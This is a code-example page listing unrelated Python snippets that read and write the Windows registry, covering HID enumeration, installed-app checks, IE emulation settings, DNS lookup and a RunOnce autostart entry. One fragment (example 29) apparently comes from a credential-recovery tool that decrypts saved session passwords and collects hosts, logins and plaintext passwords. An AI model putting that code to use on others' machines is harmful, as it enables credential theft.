Ejemplo n.º 17
0
def GetDeviceDescriptions():
    """
    gets inforamtions about the available HID as a list of DeviceDescription objects
    """
    deviceList = []

    #dll references
    setupapiDLL = ctypes.windll.setupapi
    hidDLL = ctypes.windll.hid

    #prepare Interfacedata
    interfaceInfo = SP_DEVICE_INTERFACE_DATA()
    interfaceInfo.cbSize = sizeof(interfaceInfo)

    #prepare InterfaceDetailData Structure
    interfaceDetailData = SP_DEVICE_INTERFACE_DETAIL_DATA_A()
    interfaceDetailData.cbSize = 5

    #prepare HIDD_ATTRIBUTES
    hiddAttributes = HIDD_ATTRIBUTES()
    hiddAttributes.cbSize = sizeof(hiddAttributes)

    #get guid for HID device class
    g = GUID()
    hidDLL.HidD_GetHidGuid(byref(g))

    #get handle to the device information set
    hinfo = setupapiDLL.SetupDiGetClassDevsA(
        byref(g), None, None, DIGCF_PRESENT + DIGCF_DEVICEINTERFACE)

    #enumerate devices
    i = 0
    while setupapiDLL.SetupDiEnumDeviceInterfaces(hinfo, None, byref(g), i,
                                                  byref(interfaceInfo)):
        i += 1

        #get the required size
        requiredSize = c_ulong()
        setupapiDLL.SetupDiGetDeviceInterfaceDetailA(hinfo,
                                                     byref(interfaceInfo),
                                                     None, 0,
                                                     byref(requiredSize), None)
        if requiredSize.value > 250:
            eg.PrintError(Text.errorRetrieval)
            continue  #prevent a buffer overflow

        #get the actual info
        setupapiDLL.SetupDiGetDeviceInterfaceDetailA(
            hinfo, byref(interfaceInfo), byref(interfaceDetailData),
            requiredSize, pointer(requiredSize), None)
        devicePath = interfaceDetailData.DevicePath

        #get handle to HID device
        try:
            hidHandle = win32file.CreateFile(
                devicePath, win32con.GENERIC_READ | win32con.GENERIC_WRITE,
                win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE, None,
                win32con.OPEN_EXISTING, 0, 0)
            #skipping devices which cannot be opened
            #(e.g. mice & keyboards, which are opened exclusively by OS)
            if int(hidHandle) <= 0:
                continue
        except:
            continue

        #getting additional info
        hidDLL.HidD_GetAttributes(int(hidHandle), byref(hiddAttributes))

        #prepare string buffer for device info strings
        hidpStringType = c_wchar * 128
        infoStr = hidpStringType()

        #getting manufacturer
        result = hidDLL.HidD_GetManufacturerString(int(hidHandle),
                                                   byref(infoStr),
                                                   ctypes.sizeof(infoStr))
        if not result or len(infoStr.value) == 0:
            #build a generic ManufacturerString with the vendor ID
            vendorString = Text.vendorID + str(hiddAttributes.VendorID)
        else:
            vendorString = infoStr.value

        #getting device name
        result = hidDLL.HidD_GetProductString(int(hidHandle), byref(infoStr),
                                              ctypes.sizeof(infoStr))
        if not result or len(infoStr.value) == 0:
            #getting product name via registry
            devicePathSplit = devicePath[4:].split("#")
            regHandle = _winreg.OpenKey(
                _winreg.HKEY_LOCAL_MACHINE,
                "SYSTEM\\CurrentControlSet\\Enum\\" + devicePathSplit[0] +
                "\\" + devicePathSplit[1] + "\\" + devicePathSplit[2])
            productString, regType = _winreg.QueryValueEx(
                regHandle, "DeviceDesc")
            _winreg.CloseKey(regHandle)
        else:
            productString = infoStr.value

        #close handle
        win32file.CloseHandle(hidHandle)

        #create object with all the infos
        device = DeviceDescription(devicePath, hiddAttributes.VendorID,
                                   vendorString, hiddAttributes.ProductID,
                                   productString, hiddAttributes.VersionNumber)
        vendorString

        #add device to internal list
        deviceList.append(device)

    #end loop
    #destroy deviceinfolist
    setupapiDLL.SetupDiDestroyDeviceInfoList(hinfo)
    return deviceList
Ejemplo n.º 18
0
def create_key(hkey, subkey):
    key = winreg.CreateKey(hkey, subkey)
    yield key
    winreg.CloseKey(key)
Ejemplo n.º 19
0
def CheckApp(AppName):
    import _winreg
    import os
    AppName = AppName.lower()

    def DNDS(rtkey, pK, kA):
        ln = []
        lv = []
        try:
            oK = _winreg.OpenKey(rtkey, pK, 0, kA)
            i = 0
            while True:
                try:
                    bkey = _winreg.EnumKey(oK, i)
                    vkey = os.path.join(pK, bkey)
                    oK1 = _winreg.OpenKey(rtkey, vkey, 0, kA)
                    try:
                        tls = []
                        DN, bla = _winreg.QueryValueEx(oK1, 'DisplayName')
                        DV, bla = _winreg.QueryValueEx(oK1, 'DisplayVersion')
                        _winreg.CloseKey(oK1)
                        ln.append(DN)
                        lv.append(DV)
                    except:
                        pass
                    i += 1
                except:
                    break
            _winreg.CloseKey(oK)
            return zip(ln, lv)
        except:
            return zip(ln, lv)

    rK = _winreg.HKEY_LOCAL_MACHINE
    sK = r'SYSTEM\CurrentControlSet\Control\Session Manager\Environment'
    openedKey = _winreg.OpenKey(rK, sK, 0, _winreg.KEY_READ)
    arch, bla = _winreg.QueryValueEx(openedKey, 'PROCESSOR_ARCHITECTURE')
    arch = str(arch)
    _winreg.CloseKey(openedKey)

    if arch == 'AMD64':
        fList = DNDS(_winreg.HKEY_LOCAL_MACHINE,
                     r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                     _winreg.KEY_WOW64_32KEY | _winreg.KEY_READ)
        fList.extend(
            DNDS(_winreg.HKEY_LOCAL_MACHINE,
                 r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                 _winreg.KEY_WOW64_64KEY | _winreg.KEY_READ))
        fList.extend(
            DNDS(_winreg.HKEY_CURRENT_USER,
                 r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                 _winreg.KEY_WOW64_32KEY | _winreg.KEY_READ))
        fList.extend(
            DNDS(_winreg.HKEY_CURRENT_USER,
                 r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                 _winreg.KEY_WOW64_64KEY | _winreg.KEY_READ))
    else:
        fList = DNDS(_winreg.HKEY_LOCAL_MACHINE,
                     r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                     _winreg.KEY_READ)
        fList.extend(
            DNDS(_winreg.HKEY_CURRENT_USER,
                 r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
                 _winreg.KEY_READ))
    fList = set(fList)

    lr = []
    rs = 0
    for i in fList:
        a, b = i
        if AppName in a.lower():
            lr.append('success: {} is installed'.format(a))
            lr.append('{:<25}{:5}'.format(a, b))
            rs += 1
        else:
            rs += 0
    if rs:
        return True
    return False
Ejemplo n.º 20
0
 def close(self):
     """cleanup"""
     winreg.CloseKey(self.software_key)
Ejemplo n.º 21
0
import sys, string, os, arcgisscripting
import platform
import _winreg
import re
import xml.etree.ElementTree as xml
import datetime

try:
    hKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,
                           r"Software\\Wow6432Node\\ESRI\\Desktop10.0")
except:
    hKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,
                           r"Software\\ESRI\\Desktop10.0")
result = _winreg.QueryValueEx(hKey, "InstallDir")

_winreg.CloseKey(hKey)

# Create the Geoprocessor object
gp = arcgisscripting.create()

# Check out any necessary licenses
# gp.CheckOutExtension("spatial")

# Check Windows System
if platform.system() != 'Windows':
    print 'Not Windows System'
    exit()

version = platform.release()

# Load required toolboxes...
Ejemplo n.º 22
0
 def add(name, application):
     """add a new autostart entry"""
     key = get_runonce()
     _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, application)
     _winreg.CloseKey(key)
Ejemplo n.º 23
0
def _set_ie_mode():
    """
    By default hosted IE control emulates IE7 regardless which version of IE is installed. To fix this, a proper value
    must be set for the executable.
    See http://msdn.microsoft.com/en-us/library/ee330730%28v=vs.85%29.aspx#browser_emulation for details on this
    behaviour.
    """

    try:
        import _winreg as winreg  # Python 2
    except ImportError:
        import winreg  # Python 3

    def get_ie_mode():
        """
        Get the installed version of IE
        :return:
        """
        ie_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                                r"Software\Microsoft\Internet Explorer")
        try:
            version, type = winreg.QueryValueEx(ie_key, "svcVersion")
        except:
            version, type = winreg.QueryValueEx(ie_key, "Version")

        winreg.CloseKey(ie_key)

        if version.startswith("11"):
            value = 0x2AF9
        elif version.startswith("10"):
            value = 0x2711
        elif version.startswith("9"):
            value = 0x270F
        elif version.startswith("8"):
            value = 0x22B8
        else:
            value = 0x2AF9  # Set IE11 as default

        return value

    try:
        browser_emulation = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION",
            0, winreg.KEY_ALL_ACCESS)
    except WindowsError:
        browser_emulation = winreg.CreateKeyEx(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION",
            0, winreg.KEY_ALL_ACCESS)

    try:
        dpi_support = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_96DPI_PIXEL",
            0, winreg.KEY_ALL_ACCESS)
    except WindowsError:
        dpi_support = winreg.CreateKeyEx(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_96DPI_PIXEL",
            0, winreg.KEY_ALL_ACCESS)

    mode = get_ie_mode()
    executable_name = sys.executable.split("\\")[-1]
    winreg.SetValueEx(browser_emulation, executable_name, 0, winreg.REG_DWORD,
                      mode)
    winreg.CloseKey(browser_emulation)

    winreg.SetValueEx(dpi_support, executable_name, 0, winreg.REG_DWORD, 1)
    winreg.CloseKey(dpi_support)
Ejemplo n.º 24
0
    def write_registry_value(self, reg_path, arch, root, key, regType, value):
        if sys.platform.startswith('win'):
            _log.debug("Trying to write %s\\%s = %s" % (reg_path, key, value))
            try:
                registry_key = _winreg.OpenKey(root, reg_path, 0,
                                               _winreg.KEY_WRITE)
            except WindowsError:
                try:
                    _log.debug("Key doesn't exist -- must create it.")
                    registry_key = _winreg.CreateKeyEx(root, reg_path, 0,
                                                       _winreg.KEY_WRITE)
                except WindowsError as ex:
                    _log.error(
                        "Error setting (%s) %s\key: %s to value: %s.  Error=%s."
                        % (arch, root, key, value, str(ex)))
                    _log.error(
                        "You many need to adjust permissions on the %s\\%s key."
                        % (reg_path, key))
                    return False

            _log.debug("Writing {0} of type {1} to {2}\\{3}".format(
                value, regType, registry_key, key))
            _winreg.SetValueEx(registry_key, key, 0, regType, value)
            _winreg.CloseKey(registry_key)
        else:
            registry_key = reg_path % (root, key)
            _log.debug("Writing to %s" % registry_key)

            set_reg_value_command = [
                "regtool", arch, "set", regType,
                str(registry_key),
                str(value)
            ]
            rc = self._executive.run_command(set_reg_value_command,
                                             return_exit_code=True)
            if rc == 2:
                add_reg_value_command = [
                    "regtool", arch, "add", regType,
                    str(registry_key)
                ]
                rc = self._executive.run_command(add_reg_value_command,
                                                 return_exit_code=True)
                if rc == 0:
                    rc = self._executive.run_command(set_reg_value_command,
                                                     return_exit_code=True)
            if rc:
                _log.warn(
                    "Error setting (%s) %s\key: %s to value: %s.  Error=%s." %
                    (arch, root, key, value, str(rc)))
                _log.warn(
                    "You many need to adjust permissions on the %s key." %
                    registry_key)
                return False

        # On Windows Vista/7 with UAC enabled, regtool will fail to modify the registry, but will still
        # return a successful exit code. So we double-check here that the value we tried to write to the
        # registry was really written.
        check_value = self.read_registry_value(reg_path, arch, root, key)
        if check_value[0] != value or check_value[1] != regType:
            _log.warn(
                "Reg update reported success, but value of key %s did not change."
                % key)
            _log.warn("Wanted to set it to ({0}, {1}), but got {2})".format(
                value, regType, check_value))
            _log.warn(
                "You many need to adjust permissions on the %s\\%s key." %
                (reg_path, key))
            return False

        return True
Ejemplo n.º 25
0
#! coding:utf8
#该脚本会设置Psiphon3的注册表选项中的是否使用VPN项,以方便两种模式的切换。
import _winreg as reg

key = reg.OpenKey(reg.HKEY_CURRENT_USER, r'Software\Psiphon3', 0,
                  reg.KEY_ALL_ACCESS)
k, t = reg.QueryValueEx(key, "UserSkipVPN")
if k == 0:
    reg.SetValueEx(key, "UserSkipVPN", 0, t, 1)
else:
    reg.SetValueEx(key, "UserSkipVPN", 0, t, 0)
reg.CloseKey(key)
Ejemplo n.º 26
0
    def Setup(self,
              plugin,
              waitTime,
              pollTime,
              useDefaultPollTime,
              initTime=15.0,
              checkRepeatFlag=False,
              repeatReleaseTime=200):
        """
        This will be called inside the thread at the beginning.
        """
        self.lock = Lock()
        self.abort = False

        self.plugin = plugin
        self.waitTime = float(waitTime) / 1000.0
        self.repeatReleaseTime = float(repeatReleaseTime) / 1000.0
        self.pollTime = pollTime
        self.useDefaultPollTime = useDefaultPollTime
        self.defaultPollTime = -1

        self.LastKeyCode = -1

        self.checkRepeatFlag = checkRepeatFlag

        self.repeatCode = c_int(0)
        self.systemCode = c_int(0)
        self.keyCode = c_int(0)

        self.lastEvent = eg.EventGhostEvent()
        self.keyStillPressed = False
        self.initTerminated = False

        self.timerInit = None
        self.timerKey = None

        self.hwnd = None
        self.dll = None

        # load irremote.dll

        try:
            regHandle = _winreg.OpenKey(
                _winreg.HKEY_LOCAL_MACHINE,
                'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hauppauge WinTV Infrared Remote',
                0, _winreg.KEY_READ)

            InstallString = _winreg.QueryValueEx(regHandle,
                                                 'UninstallString')[0]

            _winreg.CloseKey(regHandle)

            irremoteDir = InstallString.partition(' ')[0].rsplit('\\', 1)[0]

            dllPath = os.path.join(irremoteDir, "irremote.DLL")

            self.dll = windll.LoadLibrary(dllPath)
            self.dll = WinDLL(dllPath)

        except:
            plugin.PrintError(
                "Couldn't find irremote.dll! Reinstalling the Hauppauge "
                "WinTV Infrared Remote package can solve the problem.")
            raise self.plugin.Exceptions.DeviceNotFound

        self.IR_Open = WINFUNCTYPE(c_int, HWND, c_int, c_byte, c_int)
        self.IR_Close = WINFUNCTYPE(c_int, HWND, c_int)
        self.IR_GetSystemKeyCode = WINFUNCTYPE(c_int, POINTER(c_int),
                                               POINTER(c_int), POINTER(c_int))
        self.TIMERPROC = WINFUNCTYPE(None, HWND, c_uint, c_uint, DWORD)

        self.IR_Open = self.dll.IR_Open
        self.IR_Close = self.dll.IR_Close
        self.IR_GetSystemKeyCode = self.dll.IR_GetSystemKeyCode

        wc = WNDCLASS()
        wc.hInstance = GetDesktopWindow()
        wc.lpszClassName = "HaupPluginEventSinkWndClass"
        wc.lpfnWndProc = WNDPROC(self.MyWndProc)
        if not RegisterClass(byref(wc)):
            raise WinError()
        self.hwnd = CreateWindow(wc.lpszClassName,
                                 "HaupaugePlugin Event Window",
                                 WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
                                 CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
                                 0, 0, wc.hInstance, None)
        if not self.hwnd:
            raise WinError()
        self.wc = wc
        self.hinst = wc.hInstance

        self.timerInit = Timer(
            initTime, self.PostInit
        )  # Init delayed init timer ( in case of standby problems)
        self.timerInit.start()
Ejemplo n.º 27
0
        def close(self):
            """ Close this key """

            if self._hkey:
                wreg.CloseKey(self._hkey)
Ejemplo n.º 28
0
def get_msvc_win64_generator():
    """find the default MSVC generator but Win64
    This logic closely matches cmake's resolution for default build generator.
    Only we select the Win64 version of it.
    """
    try:
        import _winreg as winreg
    except ImportError:
        # noinspection PyUnresolvedReferences
        import winreg

    known_vs = {
        "6.0": "Visual Studio 6",
        "7.0": "Visual Studio 7",
        "7.1": "Visual Studio 7 .NET 2003",
        "8.0": "Visual Studio 8 2005",
        "9.0": "Visual Studio 9 2008",
        "10.0": "Visual Studio 10 2010",
        "11.0": "Visual Studio 11 2012",
        "12.0": "Visual Studio 12 2013",
        "14.0": "Visual Studio 14 2015",
    }

    newest_vs = None
    newest_ver = 0

    platform_arch = platform.architecture()[0]
    sam = winreg.KEY_WOW64_32KEY + winreg.KEY_READ if '64' in platform_arch else winreg.KEY_READ
    for vs in ['VisualStudio\\', 'VCExpress\\', 'WDExpress\\']:
        vs_key = "SOFTWARE\\Microsoft\\{vs}\\".format(vs=vs)
        try:
            root_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, vs_key, 0, sam)
        except OSError:
            continue
        try:
            sub_keys = enum_reg_key(root_key)
        except OSError:
            sub_keys = []
        winreg.CloseKey(root_key)
        if not sub_keys:
            continue

        # look to see if we have InstallDir
        for sub_key in sub_keys:
            try:
                root_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, vs_key + sub_key, 0, sam)
            except OSError:
                continue
            ins_dir = reg_value(root_key, 'InstallDir')
            winreg.CloseKey(root_key)

            if not ins_dir:
                continue

            gen_name = known_vs.get(sub_key)
            if gen_name is None:
                # if it looks like a version number
                try:
                    ver = float(sub_key)
                except ValueError:
                    continue
                gen_name = 'Visual Studio %d' % int(ver)
            else:
                ver = float(sub_key)

            if ver > newest_ver:
                newest_vs = gen_name
                newest_ver = ver

    if newest_vs:
        return ['-G', newest_vs + ' Win64']
    return []
Ejemplo n.º 29
0
            if num != 0:
                if port == '':
                    port = '22'
                try:
                    password = self.decrypt_password()
                    values['Password'] = password
                except Exception, e:
                    print_debug('DEBUG', '{0}'.format(e))

                values['URL'] = self.hostname
                values['Port'] = port
                values['Login'] = self.username

                pwdFound.append(values)

            _winreg.CloseKey(skey)
        _winreg.CloseKey(key)

        return pwdFound

    def decrypt_password(self):
        hex_flag = 0xFF

        flag = self.decrypt_char()
        if flag == hex_flag:
            self.decrypt_char()
            length = self.decrypt_char()
        else:
            length = flag

        ldel = (self.decrypt_char()) * 2
Ejemplo n.º 30
0
    def RegistryResolve():
        """ Return the list of dotted-quads addresses of name servers found in
        the registry -- tested on NT4 Server SP6a, Win/2000 Pro SP2, XP, ME
        (each of which has a different registry layout for nameservers!) """

        nameservers = []
        x = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
        try:
            y = _winreg.OpenKey(
                x, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters")
        except EnvironmentError:  # so it isn't NT/2000/XP
            # Windows ME, perhaps?
            try:  # for Windows ME
                y = _winreg.OpenKey(
                    x, r"SYSTEM\CurrentControlSet\Services\VxD\MSTCP")
                nameserver, dummytype = _winreg.QueryValueEx(y, 'NameServer')
                if nameserver and not (nameserver in nameservers):
                    nameservers.extend(stringdisplay(nameserver))
            except EnvironmentError:
                pass  # Must be another Windows dialect, so who knows?
            return nameservers

        nameserver = _winreg.QueryValueEx(y, "NameServer")[0]
        if nameserver:
            nameservers = [nameserver]
        _winreg.CloseKey(y)
        try:  # for win2000
            y = _winreg.OpenKey(
                x, r"SYSTEM\CurrentControlSet\Services\Tcpip"
                r"\Parameters\DNSRegisteredAdapters")
            for i in range(1000):
                try:
                    n = _winreg.EnumKey(y, i)
                    z = _winreg.OpenKey(y, n)
                    dnscount, dnscounttype = _winreg.QueryValueEx(
                        z, 'DNSServerAddressCount')
                    dnsvalues, dnsvaluestype = _winreg.QueryValueEx(
                        z, 'DNSServerAddresses')
                    nameservers.extend(binipdisplay(dnsvalues))
                    _winreg.CloseKey(z)
                except EnvironmentError:
                    break
            _winreg.CloseKey(y)
        except EnvironmentError:
            pass

        try:  # for XP
            y = _winreg.OpenKey(
                x,
                r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
            )
            for i in range(1000):
                try:
                    n = _winreg.EnumKey(y, i)
                    z = _winreg.OpenKey(y, n)
                    try:
                        nameserver, dummytype = _winreg.QueryValueEx(
                            z, 'NameServer')
                        if nameserver and not (nameserver in nameservers):
                            nameservers.extend(stringdisplay(nameserver))
                        if not nameserver:  # try DhcpNameServer
                            nameserver, dummytype = _winreg.QueryValueEx(
                                z, 'DhcpNameServer')
                            if nameserver and not (nameserver in nameservers):
                                nameservers.extend(stringdisplay(nameserver))
                    except EnvironmentError:
                        pass
                    _winreg.CloseKey(z)
                except EnvironmentError:
                    break
            _winreg.CloseKey(y)
        except EnvironmentError:
            # Print "Key Interfaces not found, just do nothing"
            pass

        _winreg.CloseKey(x)
        return nameservers